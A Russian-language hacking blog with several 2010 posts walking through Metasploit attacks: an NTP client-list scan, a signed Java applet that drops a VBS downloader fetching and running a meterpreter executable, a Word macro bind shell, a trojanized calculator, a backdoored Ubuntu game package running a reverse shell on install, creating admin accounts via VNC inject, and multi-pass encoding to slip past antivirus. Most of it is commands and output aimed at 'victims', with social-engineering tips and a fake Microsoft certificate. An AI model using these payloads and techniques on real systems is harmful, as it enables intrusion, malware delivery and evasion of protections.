vendredi 9 avril 2010

NTP Scanner

Несколько дней назад @hdmoor выпустил новый вспомогательный модуль - NTP Scanner.
Этот модуль позволяет получить список последних клиентов с NTP сервера :

[*] Sending probes to 17.72.255.11->17.72.255.11 (1 hosts)
[*] 17.72.255.11:123 86.138.33.93:56042 (17.72.255.11)
[*] 17.72.255.11:123 188.192.151.225:52210 (17.72.255.11)
[*] 17.72.255.11:123 81.167.222.18:36866 (17.72.255.11)
[*] 17.72.255.11:123 89.247.73.227:63929 (17.72.255.11)
[*] 17.72.255.11:123 80.39.165.55:123 (17.72.255.11)
[*] 17.72.255.11:123 82.19.218.58:123 (17.72.255.11)
[*] 17.72.255.11:123 82.123.121.154:123 (17.72.255.11)
[*] 17.72.255.11:123 90.207.190.29:123 (17.72.255.11)
[*] 17.72.255.11:123 193.52.24.125:38377 (17.72.255.11)
[*] 17.72.255.11:123 91.10.239.87:64361 (17.72.255.11)
--SNIP--
[*] 17.72.255.11:123 89.241.98.89:27213 (17.72.255.11)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ntp_monlist) >
Подробнее о NTP сервере здесь.

$vz00r

mercredi 31 mars 2010

Инфицирование Java апплета.

Джошуа Авраам (Jabra) опубликовал большую статью, которая была основана на докладе, сделанном на Всемирной конференции Infosec в вRafal Los, статью можно найти на http://blog.spl0it.org. Это Java-апплет, который после запуска в браузере будет выполнять полезную нагрузку Meterpreter если цель принимает предупреждение о безопасности.
Прежде чем мы начнем, машина атакующего должна удовлетворять некоторым условиям.

root@bt4:/# apt-get install sun-java6-jdk

Jabra упростил создание подписи Java-апплета, весь процесс сводится к запуску bash скрипта. Сам скрипт можно загрузить с http://spl0it.org/files/makeapplet.sh
Теперь создадим рабочую директорию для нашего Java-апплета, затем скачаем сам скрипт.

root@bt4:/# mkdir ./java-applet

root@bt4:/# cd ./java-applet

Нам нужно создать Java-апплет и поставить на него подпись. Для этого откройте ваш текстовый редактор, затем новый документ и вставьте содержимое скрипта, которое указано ниже, сохраните как : "MSFcmd.java". Оставьте текстовый редактор открытым, нам потребуется изменить некоторые параметры.

import java.applet.*;
import java.awt.*;
import java.io.*;
public class MSFcmd extends Applet {
public void init() {
Process f;
String first = getParameter("first");
try {
f = Runtime.getRuntime().exec("first");
}
catch(IOException e) {
e.printStackTrace();
}
Process s;
}
}

Далее мы запустим скрипт Jabr-ы, чтобы помочь в принятии нашего сертификата. Следующие команды загрузят сценарий, сделают его исполняемым, а затем запустят сценарий для получения сертификатов.

root@bt4:/java-applet/# wget http://spl0it.org/files/makeapplet.sh && chmod a+x ./makeapplet.sh

root@bt4:/java-applet/# ./makeapplet.sh

Enter the name of the applet without the extension: MSFcmd
[+] Packaging the compiled class into a JAR file
[+] Generating key pairs
What is your first and last name? [Unknown]: MSFcmd
What is the name of your organizational unit? [Unknown]: Microsoft
What is the name of your organization? [Unknown]: Microsoft Organization
What is the name of your City or Locality? [Unknown]: Redmond
What is the name of your State or Province? [Unknown]: Washington
What is the two-letter country code for this unit? [Unknown]: US
Is CN=MSFcmd, OU=Microsoft, O=Microsoft Organization, L=Redmond, ST=Washington, C=US correct? [no]: yes

[+] Signing the JAR file

Warning:
The signer certificate will expire within six months.
[+] Exporting the public key certificate
Certificate stored in file
[+] Done

Все готово, мы должны подготовить наши JAR и class файлы для веб-сервера.

root@bt4:/java-applet/# cp SignedMSFcmd.jar /var/www/

root@bt4:/java-applet/# cp MSFcmd.class /var/www/

root@bt4:/java-applet/# apache2ctl start

Теперь, когда аплет на месте, мы подготовим полезную нагрузку Meterpreter. Измените в примере ниже 'X.X.X.X' на IP адрес атакующего. Эта команда используя msfpayload создает Reverse TCP Meterpreter Shell для нашей жертвы. Мы генерируем полезную нагрузку в «сыром» формате и подаем на вход msfencode, сохраняем файл исполняемым. Исполняемый файл копируется в директорию веб-сервера, затем на него выставляются права на запуск.

root@bt4:/pentest/exploits/framework3/# ./msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 R | ./msfencode -t exe -o my.exe

root@bt4:/pentest/exploits/framework3/# cp ./my.exe /var/www/

root@bt4:/pentest/exploits/framework3/# chmod a+x /var/www/my.exe

Далее мы должны добавить команду запускающую полезную нагрузку в файл index.html. В общем эта страница будет запускать JAVA-Аплет, подписанный нами, который, получив разрешение от клиента, запустит cmd.exe из своей системы, повторяя строчки в VBS-скрипт с именем "apsou.vbs". Не забудьте, что этот файл можно найти в системе после всех успешных и "некоторых" неудачных попыток. После того, как файл создан, та же самая командная строка запускает VBS-скрипт и в качестве переменной подает ему ссылку на систему атакующего, где расположен файл "my.exe". Как только полезная нагрузка будет загружена, она запустит "my.exe" с правами пользователя, запустившего браузер.
Модифицируем файл index.html, первое,что загрузит в свой браузер клиент сайта. В реальном мире, контент сайта можно разнообразить видео, веб-браузерными играми, или другими мероприятиями, чтобы развлечь или отвлечь жертву. Социальная инженерия может сыграть огромную пользу, направив вашу жертву к определенному URL, предупредите жертву, чтобы та согласилась с предупреждением безопасности, для дальнейшего просмотра вашего сайта или использования вашего «очень безопасного IM апплета». Вы также можете разместить различные полезные нагрузки в разных папках для разных клиентов. Введите следующую команду как одну непрерывную и не забудьте изменить 'XXXX' нападающего на ваш IP-адрес.

root@bt4:/pentest/exploits/framework3/# echo "" > /var/www/index.html

root@bt4:/pentest/exploits/framework3/# echo " C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject("ADODB.Stream") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> C:\windows\apsou.vbs & echo Http.Open "GET", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C: windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject("WScript.Shell") >> C:\windows\apsou.vbs & echo shell.Run "C:\windows\my.exe" >> C:\windows\apsou.vbs & start C:\windows\apsou.vbs http://X.X.X.X/my.exe C:\windows\my.exe'>
" >> /var/www/index.html


На страницу нам также нужно добавить сообщение для пользователя, чтобы тот принял наш «вредоносный» апплет.

root@bt4:/pentest/exploits/framework3/# echo "" >> /var/www/index.html

root@bt4:/pentest/exploits/framework3/# echo "Please wait. We appreciate your business. This process may take a while." >> /var/www/index.html

root@bt4:/pentest/exploits/framework3/# echo "To view this page properly you must accept and run the applet.
We are sorry for any inconvenience. " >> /var/www/index.html

Теперь нам нужно использовать Metasploit multi/handler для ожидания соединений от клиентов. Для прослушки используем reverse shell на порту 443. Этот порт ассоциирован с HTTPS трафиком и поэтому большинство корпоративных брандмауэров разрешают «хождение трафика» через этот порт. Как и раньше замените 'X.X.X.X' на IP адрес атакующего.

msf > use exploit/multi/handler
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST X.X.X.X
LHOST => X.X.X.X
msf exploit(handler) > set LPORT 443
LPORT +> 443
msf exploit(handler) > save
Saved configuration to: /root/.msf3/config
msf exploit(handler) >exploit -j
[*] Exploit running as background job.
[*] Started reverse handler
[*] Starting the payload handler...

Когда жертва просматривает наш сайт и принимает предупреждение системы безопасности, полезная нагрузка Meterpreter срабатывает и подключается к нашему обработчику.

msf exploit(handler) >
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (A.A.A.A:443 -> T.T.T.T:44477)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ps

Process list
============

PID Name Path
--- ---- ----
204 jusched.exe C:\ProgramFiles\Java\jre6\bin\jusched.exe
288 ctfmon.exe C:\WINDOWS\system32\ctfmon.exe
744 smss.exe \SystemRoot\System32\smss.exe
912 winlogon.exe C:\WINDOWS\system32\winlogon.exe
972 services.exe C:\WINDOWS\system32\services.exe
984 lsass.exe C:\WINDOWS\system32\lsass.exe
1176 svchost.exe C:\WINDOWS\system32\svchost.exe
1256 java.exe C:\Program Files\Java\jre6\bin\java.exe
1360 svchost.exe C:\WINDOWS\System32\svchost.exe
1640 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1712 Explorer.EXE C:\WINDOWS\Explorer.EXE
1872 jqs.exe C:\Program Files\Java\jre6\bin\jqs.exe
2412 my.exe C:\windows\my.exe
3052 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe

meterpreter >

И последнее замечание, если у вас возникли проблемы с доступом к системе, проверьте, чтобы файлы

'C:\windows\apsou.vbs'
'C:\windows\my.exe'

не существовали на целевой системе.
При попытке повторного использования этого клиента вы не сможете правильно запустить VBS-скрипт.
Если у вас еще существуют проблемы с подключением, и вы удалили указанные выше файлы, пожалуйста, проверьте следующие места в реестре и внесите изменения по мере необходимости.

Start > run : regedit

navigate to:
HKLM\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only

change value to: 0

navigate to:
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags

click Decimal
change value to 3

navigate to:
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\

make new dword with the name 1C00
value in hex 10000

navigate to:
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags

click Decimal
change value to 3

Теперь мы должны закрыть редактор реестра и запустить или перезапустить IE, новые параметры должны отработать.

Э_L_A_Y c brutforcer.ru

Microsoft Word exploit

Для того чтобы создать этот эксплойт, нам для начала надо скачать Metasploit и проапдейтить его.

После того как мы скачали, заинсталили и проапдейтили метасплойт, можно приступать непосредственно к подготовке эксплойта.

В рабочей папке метасплойта в пуске находим CMD Shell, запускаем её, и,получив командную строку, прописываем две команды:

cd %APPDATA%
ruby msf3-dev/msfpayload windows/shell_bind_tcp LPORT 8888 V > t.vba


как показано на рисунке:

Тут нужно подождать некоторое время. Файл сохраняется.
после того как у вас появится новая строка, cmd можно закрывать. Все что надо уже готово.

Далее переходим в

c:\documents and settings\USERNAME\Application Data


и находим там файл t.vba который мы создали. Можно задать и другое имя файла, но это не существенно.

После этого открываем Microsoft Word.
В случае если вы пользуетесь версией до 2007, переходим в tools->Macros->Visual Basic.
Я же покажу на примере более распространенного 2007 ворда.
Для начала надо активировать управление макросами. Нажимаем основное меню и в раскрывшемся меню выбраем "Параметры Word". В закладке "Основное" ставим галочку напротив "Показывать вкладку "Разработчик" на ленте" как показано на рисунке:

Далее нажимаем "ОК" и у нас добавляется новая вкладка "Разработчик" на основной панели ворда. Туда и переходим. Первая же кнопка "Visual Basic" нас и интересует. В открывшемся приложении обработки событий мы видим слева на документ в выпавшем списке. Нажимаем по нему правой кнопкой мыши(желательно по нему) и выбираем "Import File" как показано на рисунке:

В появившемся окне выбираем тип файла "All Files" и выбираем наш созданный макрос.
После этого в приложении обработки событий появится вкладка "Modules" при раскрытии которого мы увидим "module1" при раскрытии которого мы увидим нечто подобное:

Как только мы добились этого, закрываем обработчик событий и попадаем снова в обычное окно Word-a, где никаких изменений якобы не происходило. Далее пишем какой-нибудь текст в ворде для того чтобы отвлечь внимание жертвы от размера файла и сохраняем файл. Лично я сохранял под ворд 97-2003 для того чтобы наверняка он работал.

Как только жертва запустит этот ворд, на ней запускается сервер с открытым портом 8888 для подключения. Все что нам остается - запустить telnet и подключиться к этой машине по порту 8888 (или любой другой который мы указываем при создании макроса) и в результате мы получаем cmd удаленной машины.

Единственный минус этого эксплойта - при запуске документа (по крайней мере на 2007 офисе) он спрашивает разрешение на запуск макроса.

Вот собственно и все. Удачных взломов

BLC c stopxaker.ru

PC : У кого новая версия MSF - смотрим здесь

mardi 30 mars 2010

Трояним проги.

24 марта вышло довольно интересное обновление MSF

http://www.metasploit.com/redmine/projects/framework/repository/revisions/8896

Это обновление позволяет троянить существующие проги, при этом они будут функционировать как оригинальные. То есть на выходе у нас прога, а в ней бэкдор.

открываем Shell, нормально он в :
C:\Programe Files\Metasploit\Framework3\Shell

Посмотрим опции : msfencode -h

Usage: ./msfencode

OPTIONS:

-a The architecture to encode as
-b The list of characters to avoid: '\x00\xff'
-c The number of times to encode the data
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-p The platform to encode for
-s The maximum size of the encoded data
-t The format to display the encoded buffer with (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war)
-x Specify an alternate win32 executable template

Создадим нашу забэкдореную прогу :

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.210.11 R | ./msfencode -t exe -x calc.exe -k -o calc_backdoor.exe -e x86/shikata_ga_nai -c 5
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)

Отправляем затрояненную прогу недругу с криком : Зырь какой супер калькулятор!!!

Да, не забываем у себя на тачке :

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.210.11

LHOST => 192.168.210.11

msf exploit(handler) > exploit


Он открывает файл - прога пашет нормально, ну а мы получаем шелл на его тачке.

[*] Started reverse handler on 192.168.210.11:4444
[*] Starting the payload handler...
[*] Sending stage (748032 bytes)

[*] Meterpreter session 3 opened (192.168.210.11:4444 -> 192.168.210.11:51695)

Советую сразу мигрировать в другой процесс, ибо как только он закроет прогу шелл исчезнет :

meterpreter > getuid
Server username: WINXPSP3\user

meterpreter > run migrate explorer.exe

[*] Current server process: calc_backdoor.exe (3360)

[*] Migrating to explorer.exe...

[*] Migrating into process ID 1592

[*] New server process: Explorer.EXE (1592)

meterpreter > getuid

Server username: WINXPSP3\user

meterpreter > getpid

Current pid: 1592

meterpreter >


$vz00r

lundi 29 mars 2010

Трояны под Linux.

Для того, чтобы продемонстрировать, что атаки на «стороне клиента» существуют не только под Windows, мы будем использовать Metasploit для создания Ubuntu deb пакета, чтобы заполучить shell на Linux.

Отличное видео выступиления Redmeat_uk демонстрации этой техники, вы можете увидеть на http://securitytube.net/Ubuntu-Package-Backdoor-using-a-Metasploit-Payload-video.aspx
Сначала необходимо загрузить пакет, который мы собираемся «заразить» и перенести его во временный рабочий каталог. В нашем примере мы будем использовать пакет freesweep, текстовая версия Mine Sweeper.

root@bt4:/pentest/exploits/framework3# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree


Reading state information... Done
...snip...
root@bt4:/pentest/exploits/framework3# mkdir /tmp/evil
root@bt4:/pentest/exploits/framework3# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /tmp/evil
root@bt4:/pentest/exploits/framework3# cd /tmp/evil/
root@bt4:/tmp/evil#

Далее, нам необходимо извлечь пакет в рабочую директорию и создать директорию DEBIAN для добавления наших дополнительных «возможностей».

root@v-bt4-pre:/tmp/evil# mkdir work/DEBIAN

В директории «DEBIAN», создайте файл с именем «control», который содержит следующее:

root@bt4:/tmp/evil/work/DEBIAN# cat control
Package: freesweep
Version: 0.90-1
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works in any visual text display - in Linux console, in an xterm, and in
most text-based terminals currently in use.

Нам также необходимо создать после установочный скрипт, который задаст исполняющие права на наши бинарные файлы. В директории «DEBIAN», мы создадим файл с именем «postinst», который содержит следующее:

root@bt4:/tmp/evil/work/DEBIAN# cat postinst
#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &

Теперь создадим наше вредоносное содержимое. Мы будем использовать реверс-шелл бэк-коннекта для подключения к нашей машине под названием «freesweep_scores».

root@bt4:/pentest/exploits/framework3# ./msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 X > /tmp/evil/work/usr/games/freesweep_scores
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 50
Options: LHOST=192.168.1.101,LPORT=443

Далее сделаем пост-установочный скрипт исполняемым и соберем наш новый пакет. Файл пакета будет называться «work.deb». Изменим его имя на freesweep.deb и скопируем пакет в корневой каталог нашего веб-сервера.

root@bt4:/tmp/evil/work/DEBIAN# chmod 755 postinst
root@bt4:/tmp/evil/work/DEBIAN# dpkg-deb --build /tmp/evil/work
dpkg-deb: building package `freesweep' in `/tmp/evil/work.deb'.
root@bt4:/tmp/evil# mv work.deb freesweep.deb
root@bt4:/tmp/evil# cp freesweep.deb /var/www/

Для начала запустим веб сервер Apache.

root@bt4:/tmp/evil# /etc/init.d/apache2 start

Запустим модуль Metasploit multi/handler для ожидания входящего соединения.

root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

Нашу жертву под Ubuntu, мы должны убедить скачать и установить deb пакет с новой игрой.

ubuntu@ubuntu:~$ wget http://192.168.1.101/freesweep.deb

ubuntu@ubuntu:~$ sudo dpkg -i freesweep.deb

Как только жертва установит и начнет играть в скаченную игру, мы получим shell.

[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.1.101:443 -> 192.168.1.175:1129)

ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6
inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:49 errors:0 dropped:0 overruns:0 frame:0
TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB)
Interrupt:17 Base address:0x1400
...snip...

hostname
ubuntu
id
uid=0(root) gid=0(root) groups=0(root)

Э_L_A_Y c brutforcer.ru

VNC Inject

Рассмотрим более подробно VNC Inject начинку. Выбираем windows/vncinject/bind_tcp.

Что она делает ?

Она внедряет VNC DLL в память удаленного процесса, и позволяет нам подключиться к графическому пользовательскому интерфейсу (GUI) на удаленном компьютере с помощью клиента VNC.

Что самое интересное, это то что терминал удаленной системы был заблокирован. Обычно, чтобы получить удаленный доступ к GUI , необходимо подобрать имя пользователя и пароль учетной записи администратора. Однако, Командная строка, любезно предоставленная нашей начинкой, существенно облегчает нашу работу.

Теперь мы можем пойти дальше и создать локальную учетную запись администратора с помощью команд

net user /add
net localgroup administrators /add

Теперь мы сможем спокойно войти в систему с привилегиями администратора, и вольны делать все, что мы хотим.


$vz00r

samedi 27 mars 2010

Обход антивирусной защиты.

Как мы видели полезная нагрузка в Metasploit работает здорово. Но есть несколько осложнений. В связи с большим распространением вредоносного ПО, большинство операционных систем семейства Windows работают под защитой того или иного антивирусного программного обеспечения. Давайте приблизим наш пример к реальной жизни и установим бесплатный антивирус AVG и посмотрим, что произойдет с нашим файлом.

Как и предполагалось, антивирус забил тревогу. Давайте подумаем, что мы можем сделать для предотвращения обнаружения нашего модуля антивирусом.
Мы закриптуем исполняемый файл, чтобы усложнить обнаружение антивирусом. Будем использовать командную строку msfencode. Давайте взглянем на некоторые опции, запустив msfencode с переключателем '-h'.

root@bt4:/pentest/exploits/framework3# ./msfencode -h

Usage: ./msfencode

OPTIONS:

-a The architecture to encode as
-b The list of characters to avoid: 'x00xff'
-c The number of times to encode the data
-e The encoder to use
-h Help banner
-i Encode the contents of the supplied file path
-l List available encoders
-m Specifies an additional module search path
-n Dump encoder information
-o The output file
-s The maximum size of the encoded data
-t The format to display the encoded buffer with (raw, ruby, perl, c, exe, vba)

Давайте посмотрим какие кодировщики у нас имеются, запустив 'msfencode -l'.

root@bt4:/pentest/exploits/framework3# ./msfencode -l

Framework Encoders
==================

Name Rank Description
---- ---- -----------
cmd/generic_sh normal Generic Shell Variable Substitution Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 normal PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive great Polymorphic Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

Отлично. Мы видим наши возможности, и множество различных кодировщиков которыми мы можем воспользоваться. Давайте воспользуемся "shikata ga nai encoder", подав на его вход вывод команды msfpayload (для бэк-коннекта к нашей машине) из примера выше.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/2.exe

[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)

root@bt:/pentest/exploits/framework3# file /tmp/2.exe

/tmp/2.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Передадим бинарный файл на другую систему и посмотрим, что произойдет.

Все плохо. Он по прежнему уязвим перед AVG. Ну, мы не можем позволить AVG выиграть, правда? Давайте прикинемся немного параноиками и используем три различных кодировщика, двум из которых мы скомандуем по десять проходов, итого на три кодировщика у нас 21 проход. Это то число проходов, при котором файл все еще остается быть рабочим бинарным. AVG никогда не обойти это!

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R | ./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe > /tmp/6.exe
[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 342 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 369 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 396 (iteration=4)

[*] x86/shikata_ga_nai succeeded with size 423 (iteration=5)

[*] x86/shikata_ga_nai succeeded with size 450 (iteration=6)

[*] x86/shikata_ga_nai succeeded with size 477 (iteration=7)

[*] x86/shikata_ga_nai succeeded with size 504 (iteration=8)

[*] x86/shikata_ga_nai succeeded with size 531 (iteration=9)

[*] x86/shikata_ga_nai succeeded with size 558 (iteration=10)

[*] x86/call4_dword_xor succeeded with size 586 (iteration=1)

[*] x86/call4_dword_xor succeeded with size 614 (iteration=2)

[*] x86/call4_dword_xor succeeded with size 642 (iteration=3)

[*] x86/call4_dword_xor succeeded with size 670 (iteration=4)

[*] x86/call4_dword_xor succeeded with size 698 (iteration=5)

[*] x86/call4_dword_xor succeeded with size 726 (iteration=6)

[*] x86/call4_dword_xor succeeded with size 754 (iteration=7)

[*] x86/call4_dword_xor succeeded with size 782 (iteration=8)

[*] x86/call4_dword_xor succeeded with size 810 (iteration=9)

[*] x86/call4_dword_xor succeeded with size 838 (iteration=10)

[*] x86/countdown succeeded with size 856 (iteration=1)

root@bt4:/pentest/exploits/framework3# file /tmp/6.exe
/tmp/6.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Хорошо, мы копируем бинарный файл, запускаем его, ииииии.....

Нам опять не удалось! AVG по прежнему обнаруживает в нашем бинарнике вредоносный код. Сможем ли мы вообще это обойти? Что же, оказывается, у нас есть некоторые уловки. Metasploit поддерживает два различных типа полезной нагрузки. Первый вид 'windows/shell_reverse_tcp', содержит весь код необходимый для полезной нагрузки. Другой 'windows/shell/reverse_tcp' работает немного по другому. 'windows/shell/reverse_tcp' содержит код для открытия сетевого подключения, остальной код эксплоита находится на машине нападающего. Таким образом в случае 'windows/shell/reverse_tcp', подключение выполняется к атакующему хосту, остальная часть полезной нагрузки будет загружена в память, а затем предоставляется shell.
Итак как ведет себя при этом антивирус? Ну большинство антивирусов работает на основе сигнатурной технологии. Код сигнатуры 'windows/shell_reverse_tcp' содержится в базах вредоносного ПО. 'windows/shell/reverse_tcp' соответственно не содержит тех сигнатур, что ищет AVG.
Имея это в виду, давайте генерировать 'Windows / Shell / reverse_tcp' бинарную полезную нагрузку.

root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/7.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 278
Options: LHOST=172.16.104.130,LPORT=31337

root@bt4:/pentest/exploits/framework3# file /tmp/7.exe
/tmp/7.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit

Ладно теперь мы скопируем файл на удаленную систему и запустим, посмотрим что произойдет.

root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (172.16.104.130:31337 -> 172.16.104.128:1548)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Jim\My Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is E423-E726

Directory of C:\Documents and Settings\Jim\My Documents

05/27/2009 09:56 PM
.
05/27/2009 09:56 PM
..
05/25/2009 09:36 PM 9,728 7.exe
05/25/2009 11:46 PM
Downloads
10/29/2008 05:55 PM
My Music
10/29/2008 05:55 PM
My Pictures
1 File(s) 9,728 bytes
5 Dir(s) 38,655,614,976 bytes free

C:\Documents and Settings\Jim\My Documents>

Успех! Наша нагрузка успешно уклонилась от антивирусной защиты.

Э_L_A_Y c brutforcer.ru